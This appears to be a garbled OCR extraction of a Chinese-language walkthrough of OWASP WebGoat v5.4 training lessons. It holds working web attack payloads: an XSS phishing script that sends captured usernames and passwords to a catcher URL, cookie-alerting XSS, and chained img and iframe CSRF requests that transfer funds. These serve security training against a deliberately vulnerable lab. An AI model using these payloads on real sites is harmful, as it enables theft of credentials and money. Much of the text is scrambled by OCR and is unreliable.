Choose another language: Logout 0

Off-by-One Overflows

¥ OWASP WebGoat v5.4

Introduction

General

Access Control Flaws
AlAR Security
Authentication Flaws welcomne to the OWASP Hotel! Can you find out which room a WIP guest is staying in?
Buffer Overflows

Off-by-One Cwerflows

Solution Yideos Restart this Lesson

In order to access the Internet, you need to provide us the following information:

Code Quality

COncurrency Step 142

Cross-Site Scripting (XS5)

Improper Error Handling Ensure that your first and last names are entered exactly as they appear in the hotel's

Injection Flaws reqgistration systern.
Denial of Service

Insecure Communication .

Insecure Configuration First Narne: |?‘hC |
Insecure Storage

Malicious Execution
Fararmeter Tarmpering Last Mame: |def | *
Session Management Flaws

Web Services

éﬂg’“gn':g“e”c’t'ons Room Murnber: |123| | "

* The above fields are required for login,

Created by Yiannis) SELEUC
Favlosoglou

9P, e (24 /MY WiETE, iy [Accept Terms] #2422 -
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Choose another language: |Englizsh

" OWASP WebGoat v5.4

Logout @

Off-by-One Overflows

Introduction

General

Access Control Flaws
AlAK Security
Authentication Flaws
Buffer Overflows

Off-bry-One Qe rflows

Code Quality
COnCUMrEncy

Cross-Site Soripting (XS5)
Improper Error Handling
Injection Flaws

Denial of Service
Insecure Comrunication
Insecure Configuration
Insecure Storage
Malicious Exscution
FPararneter Tampering
Session Management Flaws
Wweb Services

Adrin Functions
Challenge

Solution ¥ideos Restart this Lesson

Welcarne to the OWASP Hotel! Can you find aut which room a WIP guestis staying in?
Plzase select from the fallowing available price plans:

Step 2/2

Ensure that your selection matches the hours of usage, as no refunds are given for this

service,

Available Price Plans:

$9.99 - 24 hours «

By Clicking on the above you accept the terms and conditions.

Created by viannisg] SELEUC
Favlosoglou

SWASP Foundation | Project WebGost | Report Bug

Y

$1Z request 1 R FEHUE K AE intruder, 2R 5240 room_no & vt HbR. BEEE, B2

E (AR EE W TR, SR, FEIXEE T IRSEACHT,

HHSE hidden [ input 530 o i, BBk sniper.

bum intuder  epeatir window  aboud

target | prowy | spider | scanner | Inineder | repeater | seguencer | decoder | comparer | opions | aleds

| EHER =

|[ tarpet | posions | pavicads | opsons

creen=]l6knena=500 HITR/L. |

0 (Windows NT 5.1: rv:10.0.12)
entaon/ehtalsznl, applacation's
Q0.5

price_plan=hlif, 9Pe—+2 iohour sh SUBMIT=Accept+Ternshlant_nane=defdfiret_name=abogroon_ne=F 1230

f14% room_no fEH K=

Iength: 720
- w0 &
¥o/20100101 Firefox/10.0.12 iy
q=0, 8, o/s =t 8
wilo &
een=126knen=60 bt
scopendivids=swingzet, jotto, phpbb2, reduine: aceroupswithpersist=nada
= lgar
0 malches

PRk, WNE, payloads 77 &% # [character blocks] ,

BRI KRR T AR,

K v payloads 75 & T i 4 MHEIE AL U8 : N 21 3, /M 3*1024=3072 J1 45 %1 3*1024000,
A 1024, XLV E B R, B R 2B, B8 H R AR5 sl B 2 B 7 Lintruder]

T Lattrack ) #EATHH .
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burpl intruder 'repeater window about

target | prowy | spider rscanner rimruder rrepealer rseuuencer rdecoder rcomparer ropnons aletts

(T2

target r positions " payloads TIUFJUUHS |

number of payloads: 1,000
number of requests: 1,000

payioad set |1 ‘vl | character hlocks I |v|
—

hase string [ |3

rmin length 024

may length 1024000

step

il

payload processing rules

adit

select rule ype [+] [ acd

pavioad encoding within requests

HK 1024, —FHEHAT T 1000 £ K request. TEJE, WFE, L RETE [length]
TG TP HET, SRR EUEIAT (BRMEER R S, WA K o AREME T
[response) i 5 9] html, 7] LAE F| [congratulation] MR 7, 8 s di I [render] H
FEEMRYE [response] AERCTIN UL, (HJE BT AR MNEAC & SO, TOARCERA . H RS
TR

attack save columns

Fitter: showing all iterns

results | target | positions | payloads | aptons |

request nayload status | error limeo§ length I comment

1003520 3 200 O O

1004544 x3 200 Ll [ ] 1037223
100556822 200 Ll [ ] 1038178
1007B16 %2 200 1040295
1008640%3 200 1041319
1011712%3 200 1044391
1012736%3 200 Ll [] 1045347
1013760x3 200 Ll [ ] 1048438
101478432 200 Ll [ ] 1047483
10178562 200 1050535
1018880%3 200 1051959
1020828x 3 200 1063607
10240003 200 Ll [ ] 1055723
10228763 200 L] [ | {1056060

tequest rraspnnse ‘

raw | headers | hex | himl | render

<div id="lessonContent” >
<p>Welcome to the
<b>OWASP Hotel</b>
| Can you find out which room a VIP guest is staying in?</p>
</div>

<BR>
# Congratulations. You have successfully completed this lesson.
<BR>
» Congratulations. You have successfully completed this lesson.</div>
e necess L £
TV L= Tessontonten
<form accept-charset="UNKNOWN' method="FOST" name=form’ action="attack?Screen=126&menu=600" enctype=" >You have nc
to the Internet

i:
[ )= 0= leond

finished |

SERCRARJE T N B PR

77 /177



9 OWASP th =]

The Gen eb Applicalion Sccarty Prject

http://www.owasp.org.cn

_ Choose another language: |English + Logout e

Off-by-One Overflows

TR T .

¥ OWASP WebGoat v5.4

Introduction

General Solution Yideos Restart this Lesson
Access Contral Flaws
AJAK Security
Authentication Flaws Welcome to the OWASP Hotell Can you find out which room a WIP guest is staying in?
Buffer Overflows

@ Off -by-One Chve rflows * Congratulations. You have successfully completed this lesson.

® i H

Code Quality Congratulations. You have successfully completed this lesson.
Concurrency .
Cross-Site Scripting (XS5) You have now completed the 2 step process and have access to the Internet
Improper Error Handling
Injection Flaws Process complete
Denial of Service .
[nsecure Cornrmunication Your connection will remain active for the time allocated for starting now,

Insecure Configuration
Insecure Storage

Malicious Execution
Fararneter Tampering
Session Management Flaws
web Services

Adrnin Functions

Challena= Wwe would like to thank you for your payment,

Created by Yiannis| SELEUC
Pavlosogloul

QWASP Foundation | Project WabGaat | Repart Bug

2.6 {WBEREE (Code Quality)
2.6.1 £ HTML F$2kZE (Discover Clues in the HTML)

2.6.1.1 FHAREEESHIEM (Concept / Topic To Teach)

RSN, RZIT R E ERAEPEARL h{£FE FIXME's. Code Broken. Hack Z5iE4). i@
I EYRACHS TP A SV R AR A R R B IS . S5 1] S — LU B R A ) R

2.6.1.2 #HAREE (How It works)

WA T HSE R “view source” ThRET AEE M L HTML JEACHS .

2.6.1.3 S&xH#r (General Goals)

I ER 2

2.6.1.4 ¥{EFHE (Solutions)

FE T U Rl AR A, 1EEE CEE AU, AR A SR, e R B
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F15 & admin/adminpw

F ~
51 http://10.173.42.95/WebGoat/attack?Screen=4208&menu=7008show=NextHint - .. L[]
XHE R8E B0

code for any commentz denctinghnbsp; passwords, backdoors, or something doesn' t work right. -~
| dnbsp; H
S84 . Below is an example of a forms based authentication form. Lock for clues to help you log
im.
| 583 divy I
SEE “div id="message” class="info">< div>
58T Il
555
SE9 “div id="lessonContent”*<form accept—charszet=" UNEHOWH' method=" FOST'

name=" form’ action= attack?Sereen=4208menu=TOD" enctype="’ ><1-— FLME admin:adminpw ——>41--
Use Admin to regenerate databaze -—-2>¢hl?Sign In </hl><table align= center’ cellspacing= 0
width="90% border="0" cellpadding="2" »tr><th colspan=" 2 align="left’ >Pleaze =ign in to
your account. See the OWASP admin if wou do not hawe an account. <7 thi</ tr><tr»<td
width="30% Required Fields</td><ftr><tr><td colspan 2° Mnbsp; 4/ 4d><4 tr >4t >0 d><b oz er
Fame @ b2 td><td»{input name= Username’ type= TEXT' walue="' > td>< tr>te 20 d2<b>
#Fassword | O b td»<td¥input name="Fazsword type=’ FASSWORD walue="" > td><ftr >ty 3{td>
<input name=' SUBMIT' type=’ SUBMIT' walue=' Login' »<ftd»<ftr >/ table</ form >/ divy

590
531 “div 1d="eredits">
582 <table align=' RIGHT' cellspacing=' 0 width="90% border="0"

1lcadds v + 4 1 cm=" MTTIOT R’ iAdrb=t 008 213 an=! BTGHT! L33% 8 d 1 o= MTTIOT Y

il P A% A i o R G W AT PREE A 5

2.7 H#% (Concurrency)
2.7.1 FELLBIF (Thread Safety Problems)

2.71.1 FHAREEZSHER (Concept / Topic To Teach)

Web NIRRT CLRIN A BRARZ HTTP 453K PR AN G R R AR AR %4
(1 ZeFE L AR — R R BRI TURAE 22 A2 AR08 T A I B2 R R URIRES - e
AETT AR I AR, R AR [R)— I 18] (] — S S s — M P

RUONFTA BRI [/ — AN ITE X, 1A SRS A E A X, 22l B i
AR 2R

FIPAI Web B FIREFe s F AR R, B R — I 8] 53— Pl B B R — AN T g
IDIEPSE

2.7.1.2 HAR[EE (How It works)

Web N 72 i 5 7E [7] — i (8] AL FRAR 2 HTTP &K .
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2.7.1.3 S{xH#r (General Goals)

SR Web SRR (05 R k. A& 5 — 00 IELE A AR R Dh A8 10 FH P 1

BRER.

2.7.1.4 $#{E5% (Solutions)

TIPS

s —MRARA Jeff, AN 4 dave. JRATREPRIN R4 T

PRSI S A5 ) submit $528H. RORMISHIRAHZ jeff MEE, WA:

gl IR #HEE
2% bpEE & EE & | v i W~
Ifwebgoat/attack?Screen=2 TAamerm=800 j | |§§3§ >

| &

0 il guage: |Englizh 7|

Juage: |English | =

Solution Yideos

The user should be able to exploit the concurrency error il
login infarmation for another user that is atternpting the s:
This will require the use of two browsers. Yalid user

Please enter your username to access your account,

* Congratulations. You have successfully complete

Solution Yideos

The user should be able to exploit the concurrency errar in this web a
information for another user that is atternpting the same function at tt
require the use of two browsers, Valid user names are 'jeff' and '

Please enter vour username to access your account,

Submit |

Enter user name: Ijeff

Account information for user: jeff

[USERID|[USER_NAME|[FASSWORD|[COOKIE

Subrnit |

Account information for user: dave )

Enter user name: Ida\‘e

104 |[jef [eff [
ASPEI
rascript. j= [> T @
IDM Het Eeference Drupal (Options - |

|[USERID [USER_NAME [PASSWORD [CODKIE
[104 [ieff [ieff

{ /freloads the window if Wavd resized

ator) {if ((appMame=="Wetscape™)&¥(parselnt (appVerzion)==4)] {
h; document. MM_pgH=innerHeight: onresize=MM_reloadPage; }}
nt. WH_pe® || innerHeight!=document. WH_pgH) location. reload();

2.7.2 I ZEH L 5PFE (Shopping Cart Concurrency Flaw)

2.7.2.1

FAR#E 25K ERE (Concept / Topic To Teach)

Web NIRRT BLRIN A BRAR 2 HTTP 43K . JFR N R B A R AR 24
(1o ZeFE AR — A R BRI TURAE 22 ZR% AR08 T A I B2 DR R IR - e

FE AT CLR I A R

AT AE [R]— I 8] [F) — S T N8 s — M

RUONFT A BV ARREIE ] — AN TE X, A RSRAS AT, 2 2ie il B i

il FHAH R R 2R AR
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M P RIH Web B R FF A )3 K AG iR, A& [F— a5y — AN iR B s R — AN D g
IS S

2.7.2.2 FAREE (How It works)
R
2.7.2.3 E{*xH#%r (General Goals)

FERXANGR T, S B GR R R AE R R, AR R A 1 D S 7 it o

2.7.24 ¥{EFHE (Solutions)

RPN B &, B A, EEARMEE IR &, sl [purchase] #%4H. a1A:

Place your order

Shopping Cart Items Price [Quantity|Subtotal
Hitachi - 750GB External Hard Drive $£169.00 0 £0.00
Hewlett-Paclkard - All-in-One Laser Printer £299.00 1 $299.00
Sony - WMaio with Intel Centrino $1799.00 1] $0.00
Toshiba - ®GA LCD Projector £649.00 a0 £0.00
Tatal: £299.00
Enter your credit card number: |5321 1337 8888 2007
Enter vour three digit access code: Il 11

Confirm |
Cancel |

FEE B oh, WEHESTHIR M, JFHT [update card] #24H. W1/A:
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Shopping Cart

Shopping Cart Items Price Quantity Subtotal
Hitachi - 750GB External Hard
piac $169.00 (|0 $0.00
Hewlett-Packard - All-in-Cne
Laser Printer $299.00 ID $0.00
Sony - Yaio with Intel Centrino $1799.00 |1 $1,799.00
Toshiba - ¥GA LCD Projectar t£649.00 IEI +£0.00
Tatal: $1,799.00
Update Cart
Purchase

FTHE DA, T [confirm) %40, EIE[A%H M.

* Thank you for shopping! You have (illegally!) received a 83% discount. Police

are on the way to your IP address.
* Congratulations. You have successfully completed this lesson.

Thank you for your purchase!
Confirmation number: CONC-88

Shopping Cart Items
Hitachi - 7S0GE External Hard Drive
Hewlett-Packard - &ll-in-One Laser Printer
Sony - Vaio with Intel Centring

Toshiba - XGA LCD Projector

Total Amount Charged to Your Credit Card:

Price
£169.00 a
£299.00 a
£1799.00 1
£649.00 a

Return to Store

2.8 BuhBIAE (Cross-Site Scripting (XSS))

2.8.1 {#HH XSS & (Phishing with XSS)

2.8.1.1 FHAREEESHIEM (Concept / Topic To Teach)

Quantity | Subtotal

$0.00
$0.00
$1,799.00
$0.00

$299.00

A 55 i Xt BT A i N BEAT B8 IE e R ANER R 24 TP B N RIS HTTP i L 25 57 3 A
XSS. f£ XSS (BT, AT LLSEHL 1 TR B R LAt w5 WU R A A . X TR

RALARAE A B 1% PN 75 15 A7 AE S o
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2.8.1.2 FAKR[EIE (How It works)

HTML SO R P9 252 T AR BE O, o SRS A PR a8 A T P A XA

2.8.1.3 SE{*xB#fx (General Goals)

B —AN form, ESRIAS 44 MY, K BRI 2 # http://localhost/WebGoat/catche
r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam

2.8.1.4 ¥{E5% (Solutions)

FIH Xss v LATE CAFTE R T ik — B IR NG 3R o MR REFEWE 7, BHRELSES
HEERAL H :

ZHNIEE —ARHE

PALEUR AR, BIE R B RIEAH L& .

— ANy FH P 28 RV RS A NAE [ RAR U

<form>

<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>

</form><br><br><HR>

WRIZBANY, EHREE B0 N 7 — R
DU 7 B BURA

<script>

function hack()

{ alert("Had this been a real attack... Your credentials were just stolen." User Name =" +
document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new
Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+

document.forms[0].user.value + "&password=" + document.forms[0].pass.value +

}

</script>

X BAIS 2 B A B 3 NI P 2 R 1545 B, X s BURIR AT X (5 B
] WebGoat.
e, AR IR BACE A . AT B AN

<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen. User Name
=" + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new
Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+
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document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "™;}
</script><form><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter
Username:<br><input type="text" id="user" name="user"><br>Enter Password:<br><input
type="password" hame = "pass"><br><input type="submit" name="login" value="login"

onclick="hack()"></form><br><br><HR>

PRI BT, (2R3 TR 4 ST A, NP 2 BT, el %,
WebGoat £ A i B 0 IR A s

WebGoat Search

This facility will search the WebGoat source.

Search: <script>function hack

Search

Results for:

This feature requires account login:

Enter Username:

Enter Password:

login

2.8.2 /JNELIG: EuhBAILdr (LAB: Cross Site Scripting)

2.8.2.1 FHAREEEZHEM (Concept / Topic To Teach)

By NBRAIE R — MR I T, O HOR ISR AR L DL R S U E R G i & AR
AR W N . JURNEENE, XL 2K A RAEBAE I B . B 2428 1E - G A v
BANE. AP BE B RN, TRSEFHMA MR — A RPN IETSARKINE. 44—
AN REIAEN P AN —A HTTP MR, XSS Bithnlge kA . 75—t
XSS Britir, Bodi # 2R FH B AR O HiIE— A URL Hodid K A ik 21 H A s . F
MR AR T RS2 o e
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2.8.2.2 S{xH#r (General Goals)

TR T, AT IR RS XSS Toikr, S AT LU E web S FITRRF o i
PRI

/

2.8.2.3 Stage 1: 7#figH! XSS (Stage 1: Stored XSS)

2.8.2.3.1 2{&H#r (General Goals)

PAT A7 T 15 ks BRI T 5 5
PL “Tom” B4 B Mul, (B MNAEE. BAIEH 7 “Jerry” &% 3|04, BAKSH
IR P AT RNS (e Tom 26942 tom).

2.8.2.3.2 #{E7E (Solutions)

1. DUHP 4 “Tom” %575 tom Bk, %Pk Tom, siidi “View Profile” #%4ll. IAEWS
PLE R Tom BINAE R . S “Edit Profile” , fF “Street” —#2rhidE47 XSS Bl A
mEAREY, A “UpdateProfile”

<script>alert("haha");</script>

+/“ Goat Hills Financial

1= Human Resources

[,ii Welcome Back Tom -
First Name: Tom Last Name: Cat
Street: cgcript>aler{"haha") |f City/State: |MNew York NY
Fhone: 443-595-0762 Start Date: |1071999
SEM: 792-14-6364 Salary: 20000

dit Card: 548136085 7965521 Credit Card 30000
Crosk O Limit:
Comments: Co-Owner Manager: Tom Cat 1:
Discinlinary Disciplinary

: Action

Explanation: Dates:
| ViewProfile | UpdateProfile | Logoit |

2. BB, UHI4 Jerry, % jerry Bx%, EFR Tom FIFE, S#HIXE
ENA

85/177




OWASP h =]

The Gpan Wb Application Socarly Project

http://www.owasp.org.cn

2.8.2.4 Stage 2: {ERMANRIEPHLEFEE XSS I E (Stage 2:

Block Stored XSS using Input Validation)

2.8.24.1 2Z2{&H#r (General Goals)

Stage 2: i Fi % N B6iE PH 1L A74i% 28 XSS Moty
AT RE R BB WebGoat JF R A E 58 o

TERAIEE, FEHE S NBE B 2 AT E A B s i M AT . B Stagel, DL
Eric Ml David S PRG3R ] David A BLi5m .

2.8.2.4.2 #{E73% (Solutions)

I iCE fE org.owasp.webgoat.lessons. CrossSiteScripting £ # ffjUpdateProfile.javaZs H i
I S ARG, Ay kSR .

[**Your code**/

String regex = "[N\s\\w-,]*";

String stringToValidate = firstName+lastName+ssn+title+phone+address1+address2+
startDate+ccn+disciplinaryActionDate+

disciplinaryActionNotes+personalDescription;
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Pattern pattern = Pattern.compile(regex);
validate(stringToValidate, pattern);
/**End of your code**/

X IIEACHS R 0 \s = whitspace: \t\n\xOB\f\r, \w = word: a—zA-7 0-9 J@il %
WE e Ad A HAth 578 2l 50 IR T .

2.8.2.5 Stage 3: 7Efi#E! XSS Eifjjo) (Stage 3: Stored XSS

Revisited)

2.8.2.5.1 E{&H#x (General Goals)

JE 51 “Bruce” I NAG BAETE AN #5757 7 4748 8 XSS i/ Uhd o 353l David k5594
S, BIE Stage2 HHHUE AHRIMIEE .

2.8.2.5.2 #{EFE (Solutions)
LA P David, %19 david &3¢, SRJEY Bruce B S, BIAT 58 K.

Stage 2
Stage 2: Block Stored XSS using Input Validation.

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

Implement a fix to block the stored XSS before it can be written to the database. Repeat stage 1 as
'Enc’ with 'David' as the manager. Verify that 'David' is not affected by the attack.

* You have completed Stage 1: Stored XSS.
* Welcome to Stage 2: Block Stored XSS using Input Validation

=)

; (emmazs
& Goat Hills Financial =

i Human Resources

JSESSIONID=C6451B56810F2ABAGZEAYB4BICEDE19E,;

[,i'i1 Welcome Back David I . : ; -
L84 acopendivids=swingset jotto, phpbb2,redmine;
First Name: Bruce Last Name: MoGuirre acgroupswithpersist=nada
Street: 3899 FreeBSD Drive
L #= |
Crrmmn—HNRrnani— ann
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2.8.2.6 Stage 4: {FRAMLGwEEFHELLEFMET! XSS (Stage 4: Block

Stored XSS using Output Encoding)

2.8.2.6.1 Z{&H#x (General Goals)

AT RFE R E7E WebGoat T KA~ 58 5% -

BRI T BE, A EHE 2 S B s i BE L S s Bt ARG o [ [0] 5 Stage3 HIE David
R ANSZ Bruce /N A A5 JE T BUaky 20 o

2.8.2.6.2 #{EFE (Solutions)

£ org.owasp.webgoat.util. HtmIEncoder 25 H1#5 Il—> encode(String s)fA 7%, XA4NT7
EESTA TR P R R A . IAEE T LA org.owasp.webgoat.lessons.CrossSiteScriptin
g class 24 1] getEmployeeProfile 1X~757%. H HtmlEncoder.encode(answer_results.getString
(someString)) & #:fi 5 answer_results.getString(someString), EIA] 58 ik

2.8.2.7 Stage5: R5F&! XSS (Stage 5: Reflected XSS)

2.8.2.7.1 Z{&H#r (General Goals)

A FH e 5748 2R DL T IR IR A 3 — M0 55 S 28 XSS B AR 1K) URLe BRI 53—z i 53 5 1)

1% URL 232540

2.8.2.7.2 #{EF% (Solutions)

VLA 4 Larry, 259 larry B, fidi “SearchStaff” , fEERMET, @it —BAR
b B AT 58 i

<script>alert("Dangerous");</script>
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+“ Goat Hills Financial

1 Human Resources

(4

G

Search For User

Name :rt("Dangerous”);</script=

2.8.2.8 Stage 6: PRI 5% XSS(Stage 6: Block Reflected XSS)

2.8.2.8.1 Z2{&H#r (General Goals)

AF R R GE7E WebGoat JF & FRA 58 .
BEAHS, 188 AT XSS Wi, B A StageS W UF B AN AL

2.8.2.8.2 #{E7% (Solutions)

TTERAT 56 B B - 9w org.owasp.webgoat.lessons.CrossSiteScripting.FindProfile.java,
7t getRequestParameter /5% J5 THIANIN T THIARHD :

String regex = "[\s\\w-,]*";

String parameter = s.getParser().getRawParameter(name);
Pattern pattern = Pattern.compile(regex);
validate(parameter, pattern);

return parameter;
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2.8.3 7R8I xsS K35 (Stored XSS Attacks)

2.83.1 #HAARLER (Concept / Topic To Teach)

EEPTA P AN GE AR IR, Rl R R S TR OS. A Bl PF &
WSERRIN . JCHZ LG ZE R A R . AR ARERIH B A, flan: W]
DA EH AT U7 18 B 28N A FIUYI ) T I B A 25

2.8.3.2 S{*xH#r (General Goals)

BUERARERITH B N, AT LS BO Al - U5 i BN A T 0 0T B A 4

2.83.3 ¥{EA’E (Solutions)

fE title TAERRIA TAT. ENE A LT AR

<script>alert('xss")</script>

gk & <script language="javascript" type="text/javascript”>alert("Ha Ha Ha");</script>

R KPR

Solution Videoslt is always a good practice to scrub all input, Restart this Lesson
especially those inputs that will later be used as

parameters to OS commands, scripts, and database queries. It is particularly important for

content that will be permanently stored somewhere in the application. Users should not be

able to create message content that could cause another user to load an undesireable page or

undesireable content when the user's message is retrieved.

Title:
Message: J

Message List
<script=alert('wss"]</script =
ag

ab

ASPECT

Applicalion Sacurily Spbeialist

OWASP Foundation | Project WebGoat | Report Bug

mdi“ab”, Xty thIE NI G T, iR Hoah b, ARG 2 — AN XEHE,
WERH XSS B i .
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Solution VideosIt is always a good practice to scrub all input, Restart this Lesson
especially those inputs that will later be used as

parameters to OS commands, scripts, and database queries. It is particularly important for

content that will be permanently stored somewhere in the application. Users should not be

able to create message content that could cause another user to load an undesireable page or

undesireable content when the user's message is retrieved.

* Congratulations. You have successfully completed this lesd g b
9 v comp FERTHGAS -

Title:

Message:
l._ XS5
N

Message Contents For: ab
Title: ab
Message:

i N\ <script language="javascript" type="text/javascript">alert(document.cookie);</script>
A LASRECS T3 %52 cookie
2.8.4 FEILIER{BE (Cross Site Request Forgery (CSRF))
2.84.1 $HARBRLEM (Concept/ Topic To Teach)

AT RFERAR ST LIS v R Ohi& By (CSRF) .

2.84.2 FAKRIEIE (How it works)

PSR SR Oy — Pk 2 35 F Ik — M R TR B A (R e 3 B A AR B

<img src="http://www.mybank.com/sendFunds.do?acctld=123456"/>

5% 3 I A BT X AN TR, B2 R E S50 www.mybank.com ]
transferFunds.do TUIHIRIEIER . WS AR SB[ E—AEF, HSLPr B —MEE e
ThRE . %15 R0 55 5 Wk AH < AT cookies. A1, 5 FH P 438 3 4 3t ) B 43 B8 AIE
FE — KA cookie, HF 2 MATE1ENT cookie, MK EH IMNEX S X AT Z MG
ER R IE K o @ X M7, Bk ol LAk 52 3 AT — LA AT T AR SR F T AT )
B, anydas . SRIMGIH H B X AN 55 00 D st B2 4t R AT T AR D e
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2.8.4.3 S{xH#r (General Goals)

TEX—ERA, 0T E R 1 — AN 0k — B, iR s —ik A, xAEG
) URL F5 1 — AN EEIE R Sl —MadE 141 B RMEE, Hhasd— Mk, X4 URL
N2 — AN RN Z 2L “transferFunds= 40007 45 [7] CRSF BRFE UL T 488 FT DA Ik 76 M S FRAE
CSRF PRFEIES: F sk gy, EHEEHPSET . Tl Ex &I, HErcgEsd 5
ISR, AT NG e .

EE: AIF WebGoat #IE ) URL H “Screen” Al “Menu” S EEA X H. &
FA#&AERTV7 A URL R IEZEE IS %

2.84.4 #1EFA% (Solutions)

BRI, AR AR O HIML (AR, X BRTS i — N, B F
— M. 7E HTML Hh L A 202 -

<img src="[URL]" width="1" height="1" />

BIE—HEE, A “Test” , JHEHIIAKE HIML A5 .

<img src="http://localhost/WebGoat/attack?Screen=81&menu=210&transferFunds=5000" width="1"
height="1" />

(= How 1 Purfarm Cioas Sile Request Forgery (OSF) - Windows Inteomf Feplare

Sup-

Mg st

TR G, e AEE B AR P E B —ASHHE R

S o tranmt oo -
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7 How io Parfarm Cros Siie Begquest Forgery (CSHF) - Windows imecnet [xplares

]
Q = | v o S em 1T vy m Al
Google (G~ w e B~ O Sceres Pmbded T ihed =y ddark - | S Y
Ve DOM Cmaie Ve Outien Vakise images Semw s Shos e
W e e Parton Croas e Ragsdt Fagey (CBF) - R ey g e
-
En sk Fhain UBL in Phe message
Haeiage
Suten
Mussage List
- I
e 8 ol L

MEIXANE R, XK T EIX AN B LA HIML 5 R, 1X B WebScarab SRR
R fEHAERI “&transferFunds=5000" , 2R 5T .
B it Reguest !'__ rlFIH
Iilercepl requests | v fercept respenses |

nen DOMERO oM EIECK TSErear=11 Amenas 21 DAN ansTerk unes=S000 HTTF 1
i #neoAebdosiaiack Thiur=1 J8Screer=il Emeru=210
nguage. nk-be

fibiln, WEIE 70, Windows NT 51, MET CLR 11,4322, NET CLR 2.050727, InfoPalh. 1)

=i TE IMEFSHR0EC 20407 I0TGAIGES I T
asic ZMVcIQEI IV I0=

[ Accapt charges i Carwel changes L Cancel ALL wsceyrin

JUHT S, IR TE .

2.8.5 %% CSRF #5iA ( CSRF Prompt By-Pass)

2.8.5.1 FAREEAFHIEM (Concept / Topic To Teach)

AR R S T SEBLES w1 SR OPIE I (CSRP), il 2 M R oeid - i

U
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2.8.5.2 HAREHE (How it works)

W T H AT T2 R R s SRR, H S IEIT HTML+avaScript [\ IR 45 28 K L id

2.8.5.3 S{*xH#r (General Goals)

FALT CSRF UREE, 11 H AR AR5 8 8 4 0% — B A 2 AN UG K 1) Emaile 55— ANE
SKH P B0, 28 =N T B ah b B — NG KR I & A . URL 2048 FH AR A Ak
TS “transferFunds=4000" F1 “transferFunds=CONFIRM ", 1] DL it 75 76 ) B 42 v A5 4 B
Fr, BHPRGE T A GE R URL SREL . AU BNZ BN IE LT 2@ e, ) 24 35 a)
1% G THI ISR E 3058 5% e 4 K

ER: A WebGoat ¥ H) URL H “Screen” F “Menu” SHATRERA XA, HE
FI% 24 R0V5 19 URL H IEZEMEF S,

2.8.54 ¥{EFHE (Solutions)

FIE—ANRAL T CSRF SEEGH (1 & B iframe FRid: <img
src="http://localhostattack?Screen=81&menu=210&transferFunds=5000" width="1" height="1" />
ZE R ERAN SRR SRR, MMk A FEHAHANGEE. EEEHAEREER,
W RIEARFER URL 9 IN4H 82 44 "transferFunds=4000"

Fle Edit View History Beekmarks Tools Help

@ v e @ [[E[httpilocalhost:so80mebGost/attackScreen=s &menu=900&transferrunds=4000 |~ @~ 8
Logout @& 1l

CSRF Prompt By-Pass

OWASP WebGoat V5.2 <THints | Show Params. Cookies  Le: ow | olution

Introduction

Solution Vldensswrm\a\ to the CSRF Lessen, your goal is to send an  Restart this Lesson
S ail to & newsgroup that contains multiple malicious

requests: the first to transfer funds, and the second a request t confirm the prompt that the
first request triggered. The URL should point to the CSRF lesson with an extra parameter
“transferFunds=4000", and "transferFunds=CONFIRM", You can copy the shortcut from the left
hand menu by right clicking on the left hand menu and choosing copy shortcut, Whoever
receives this email and happens to be authenticated at that time will have his funds
transferred. When you think the attack is successful, refresh the page and you will find the
green check on the left hand side menu

Electronic Transfer Confirmation:
Amount to transfer: 400

[ conrmm || canceL

Derived from CSRF Lesson by Sherif Koussa

OWASP Foundation | Project WebGoat | Report Bug

Stared XS5 Attacks

Reflectzd XS Attacks
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AAE VAR BIFIAEROSEUEE . AT HIAR form RPAT:

<form accept-charset="UNKNOWN' method="POST" action="attack?Screen=5&menu=900'
enctype="application/x-www-form-urlencoded">

<input name="transferFunds' type='submit' value="CONFIRM"'>

<input name="transferFunds' type='submit' value="CANCEL">

</form>

DL AR AT, R AN G AT URL W .
attack?Screen=5&menu=900&transferFunds=CONFIRM

AT7 NN E R UNTIE L iframes F1 images PIAN 7 RSBl Moy . "~ — 5 /2 U bt in )
PHERINIE R . KWL, XA 5 AMERDITE R — MERERGHEN . FTLATE
BRI javascript ASEIRAE S — MG RS WG H BN A 58— frame HJE IR
Jl onload Z:3, % & src NE ) frame.

IMELULF

<iframe
src="http://localhost:8080/WebGoat/attack?Screen=5&menu=900&transferFunds=400"
id="myFrame" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"
onload="document.getElementByld(‘frame?2").src="http://localhost:8080/WebGoat/attack?Screen=5
&menu=900&transferFunds=CONFIRM';">

</iframe>

<iframe
id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300">

</iframe>

Ll EA5 BARAZ B BHER AR
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Edit View History Bookmarks Tools Help

v &

- [@!http:ﬂloca\hnst:ann[webGnatfattack?screen:S&r'nenuzsnn

OWASP WebGoat V5.2

Intraduction

General
Access Control Flaws
MIAX Security
Authentication Flaws
Buffer Overflows
Code Quality
Concurrency
Cross-Site Scripting (XSS)
Phishing with %55
LAB: Cross Svte Serpting.
stage 1: Stored 153
stage 2. Block Stored 155
ising nput vatida tian
St 3 Stored x5
Bewsited
stage 4 Block Stored X553
sin OUtput Encoding
stage 5: Refiected x5
stage & plock Reflected xis
Stored S5 Attacks
Reflected XG5 Attacks

Cross Site Request Forgery
[CSRE)

CSRE Prompt By-Pass
CSRF Token By-Pass
HTTFOuly Test
Cross Site Tracing (ST
Attacks
Denial of Service
Improper Errar Handling
Injection Flans
Insecure Communication
Insecurs \_onﬁqmatmn
Insecure Stor
Parameter Tampellr\g
Session Management Flans

to
Challenge

Logout @

CSRF Prompt By-Pass

Solution videosSimilar to the CSRF Lesson, your goal is to send an
mail to a newsgroup that contains multiple malicious

requests; the first to transfer funds, and the second a request to confirm the prompt thal the
fll’st reguest tr\ggal’ed The URL should point to the CSRF lesson with an extra paramet:

"transferf ansferFunds=CONFI ou can copy the shortcut from the left
o et e TR Clong S e AFe hand T A Loeomng e oot Wi savar
